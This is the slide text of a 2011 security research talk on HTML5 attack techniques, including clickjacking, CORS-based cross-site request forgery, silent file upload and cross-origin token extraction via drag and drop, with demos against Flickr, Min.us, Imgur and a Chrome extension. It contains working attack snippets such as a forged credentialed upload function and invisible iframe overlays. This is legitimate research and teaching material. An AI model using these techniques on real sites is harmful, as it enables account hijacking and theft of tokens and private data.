Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/ HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments. The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit. We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.

1. HTML5:
Something wicked this way comes
HackPra, Bochum Krzysztof Kotowicz, Securing
11.2011 krzysztof.kotowicz@securing.pl
@kkotowicz

2. About me
• security researcher
• HTML 5
• UI redressing / clickjacking
• xss-track, squid-imposter, ...
• pentester
• IT security trainer
• „Hacking HTML5”
2

3. Plan
• Same Origin Policy
• Exploiting users
• Attack toolbox
• demos
• obligatory 0-day ;)
• Wrap-up
3

4. Same origin policy
• the single most important security
concept for the web
• restricts communication between
websites from different domains
• has many flavors
• without it hell breaks loose
• worldwide XSS mayhem
4

5. Same origin policy
• can be relaxed though
• crossdomain.xml
• document.domain
• HTML5 Cross Origin Resource Sharing
• or ignored...
• by exploiting users
• UI redressing
5

6. UI Redressing?
Jedi mind tricks on victim users
6

7. UI Redressing
• This is not the page you’re looking at
• This is not the thing you’re clicking
• .................................................. dragging
• .................................................. typing
• .................................................. copying
• Victims attack the applications for us
7

8. Exploiting users
//goo.gl/DgPpY
8

9. Combined attacks
1. Analyze target
2. Choose pieces
• HTML5
• UI redressing
3. Plant the attack
4. ....
5. Profit!
9

10. Attack toolbox
10

11. Framing
<iframe src=//google.com></iframe>
11

12. Framing
• Frames can
• move
• be nested
• be invisible
<iframe src=//google.com
style="opacity:0;"></iframe>
12

13. Framing – prevention
• X-Frame-Options
13

14. Framing – prevention
• JS Framebusting
if (top !== self) {
top.location = self.location;
}
// and many others....
14

15. X-Frame-Options
Marcus Niemietz, February 2011
• Home pages HTTP header analysis
• Based on Alexa
Count Rate
Top 100 3 3.00%
Top 1000 9 0.90%
Top 10000 33 0.33%
Not that popular yet
15

16. Basic clickjacking
16

17. Basic clickjacking
20x20 <iframe>
17

18. Basic clickjacking
<iframe>
-300
-350 20x20
18

19. Basic clickjacking
<iframe>
Victim website
20x20 Like us, plz!
19

20. Basic clickjacking
<iframe src=outer.html
width=20 height=20 scrolling=no
style="opacity:0;"></iframe>
<!-- outer.html -->
<iframe src="//victim" width=5000
height=5000 style="position:
absolute; top:-300px; left:
-350px;"></iframe>
20

21. Basic clickjacking
• Use to: click on link, button etc.
• Trick: Click here to see a video!
• User interaction: click
+ Any clickable action
+ Works in every browser
- X-Frame-Option
- JS framebusting
21

22. HTML5 IFRAME sandbox
• Used to embed untrusted content
• prevents XSS
• prevents defacement
• Facilitates clickjacking!
<iframe sandbox="allow-same-origin
allow-forms allow-scripts"
src="//victim"></iframe>
//html5sec.org/#122
22

23. HTML5 IFRAME sandbox
• Use to: protect from frame busting
+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
- X-Frame-Option
23

24. Cross Origin Resource Sharing
• HTML5-ish
• Cross domain AJAX
• With cookies
• Blind
• Unless the receiving site agrees
• Not limited to <form> syntax
24

25. Cross Origin Resource Sharing
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");
25

26. Cross Origin Resource Sharing
POST / HTTP/1.1
Host: victim
Referer: http://dev.localhost/temp/cors.php
Content-Length: 15
Origin: http://dev.localhost
Content-Type: text/plain
...
Cookie: my-cookie=myvalue
Anything I want
26

27. Cross Origin Resource Sharing
• Use to: Cross Site Request Forgery
• User interaction: none
27

28. Silent file upload
• File upload purely in Javascript
• Silent <input type=file> with any file
name and content
• Uses CORS
• How?
Raw multipart/form-data
28

29. Silent file upload
function fileUpload(url, fileData, fileName) {
var fileSize = fileData.length,
boundary = "xxxxxxxxx",
xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.withCredentials = "true";
xhr.setRequestHeader("Content-Type",
"multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
29

30. Silent file upload
var body = "
--" + boundary + 'rn
Content-Disposition: form-data;
name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';
xhr.send(body);
30

31. Silent file upload
• Use to: CSRF file upload
• User interaction: none
+ Works in most browsers
+ You can add more form fields
- CSRF flaw needed
- No access to response
31

32. Silent file upload
DEMO
Flickr.com
32

33. Flickr.com attack toolbox
• Remember me
• Flickr creates logged session on first request
• CSRF file upload
• http://up.flickr.com/photos/upload/transfer/
• accepts file uploads
• token check skipped
33

34. Drag into
• Put attackers content into victim form
34

35. Drag into
DEMO
Alphabet Hero
35

36. Drag into
• Use to: self XSS, fill whitelists, enter comments...
• Trick: Put paper in the can!
• User interaction: drag & drop, click
+ Inject arbitrary content
+ Trigger self-XSS
- Firefox only
- X-Frame-Option
- JS framebusting
36

37. Drag out content extraction
image
image
37

38. Drag out content extraction
image
victim
<iframe>
image
38

39. Drag out content extraction
image
victim
<iframe>
textarea
<textarea>
39

40. Drag out content extraction
<div id=game style="position:relative">
<img style="position:absolute;..."
src="paper.png" />
<img style="position:absolute;..."
src="trash.png" />
<iframe scrolling=no id=iframe
style="position:absolute;opacity:0;...">
</iframe>
<textarea style="position:absolute;
opacity:0;..." id=dropper></textarea>
</div>
40

41. Drag out content extraction
41

42. Drag out content extraction
42

43. Drag out content extraction
$("#iframe").attr('src', 'outer.html’);
$('#dropper').bind('drop', function() {
setTimeout(function() {
var urlmatch = $("#dropper").val()
.match(/token=([a-h0-9]+)$/);
if (urlmatch) {
var token = urlmatch[1];
// do EVIL
}
}, 100);
});
43

44. Drag out content extraction
• Use to: get tokens, session ids, private data
• Trick: Put paper in the can!
• User interaction: drag & drop
+ Access sensitive content cross domain
- Firefox only
- X-Frame-Option
- JS framebusting
44

45. Drag out content extraction
DEMO
Min.us
45

46. Min.us attack toolbox
• CORS to create gallery
• social engineering
• extract gallery editor-id from <a href>
• silent file upload to gallery
• CORS change gallery to public
• HTML5 + UI redressing combined!
46

47. View-source
• Display HTML source in frame
• session IDs
• tokens
• private data
<iframe
src="view-source:view-source:http://victim"
width=5000 height=5000
style="position: absolute;
top: -300px; left: -150px;">
</iframe>
47

48. View-source
48

49. View-source
49

50. View-source
• Use to: get more content
• Trick: Your serial number is...
• User interaction: select + drag & drop, copy-
paste
+ Beats JS framebusting
- X-Frame-Options
- Firefox only
- Complicated user action
50

51. View-source
DEMO
Imgur.com
51

52. Imgur.com attack toolbox
• framed view-source:
• captcha-like string (AdSense ID)
• session ID
• social engineering:
• trick to copy/paste page source
• Exploitation:
• http://api.imgur.com
• cookie auth, no IP limits for session
52

53. Google Chrome addons hijacking
• HTML5 apps
• Unique ID
• chrome-extension://id/res.html
• Can attach content scripts to pages
• access page DOM
• JS runtimes are separated
• page canot see addon JS
• addon cannot see page JS
• Can exchange messages with other components
53

54. Google Chrome addons hijacking
• Page can load addon resources
<iframe src="chrome-extension://
oadbo...adc/popup.html"></iframe>
var popup = window.open(
'chrome-extension://oadbo...adc/
popup.html');
• So what?
54

55. Google Chrome addons hijacking
• Chrome To Phone 2.3.1 hijack 0-day
//kotowicz.net/chrome-to-phone/
55

56. Google Chrome addons hijacking
• popup.html
chrome.extension.onConnect.addListener(function(port)
{
port.onMessage.addListener(function(info) {
//...
sendToPhone(info.title, info.url, msgType,
info.selection,sendToPhoneListener);
});
});
//...
chrome.tabs.executeScript(null, {file:
"content_script.js"});
56

57. Google Chrome addons hijacking
• content_script.js
var pageInfo = {
"url": document.location.href,
"title": document.title,
"selection": window.getSelection().toString()
};
chrome.extension.connect().postMessage(pageInfo);
57

58. Google Chrome addons hijacking
1. popup loads when you click
2. starts listening
3. adds a script to current tab
4. script sends current URL
5. popup gets URL and sends to Android
http://...
popup.html
content_script.js
58

59. Google Chrome addons hijacking
• manifest.json
"content_scripts": [ {
"js": [ "content_script.js" ],
"matches": [ "http://*/*", "https://*/*" ]
} ],
• Sending script is always attached to
every page on every tab
http://...
content_script.js
59

60. Google Chrome addons hijacking
60

61. Google Chrome addons hijacking
• We just have to start listening
var popup = window.open('chrome-
extension://..../popup.html');
window.focus(); // hide popup
61

62. Summary
• UI redressing attacks are improving
• HTML5 helps exploiting vulnerabilities
• Users can be a weak link too!
Developers:
Use X-Frame-Options:
DENY
62

63. Links
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/
clickjacking
• blog.kotowicz.net
• github.com/koto
Twitter: @kkotowicz
kkotowicz@securing.pl
63

64. ?
64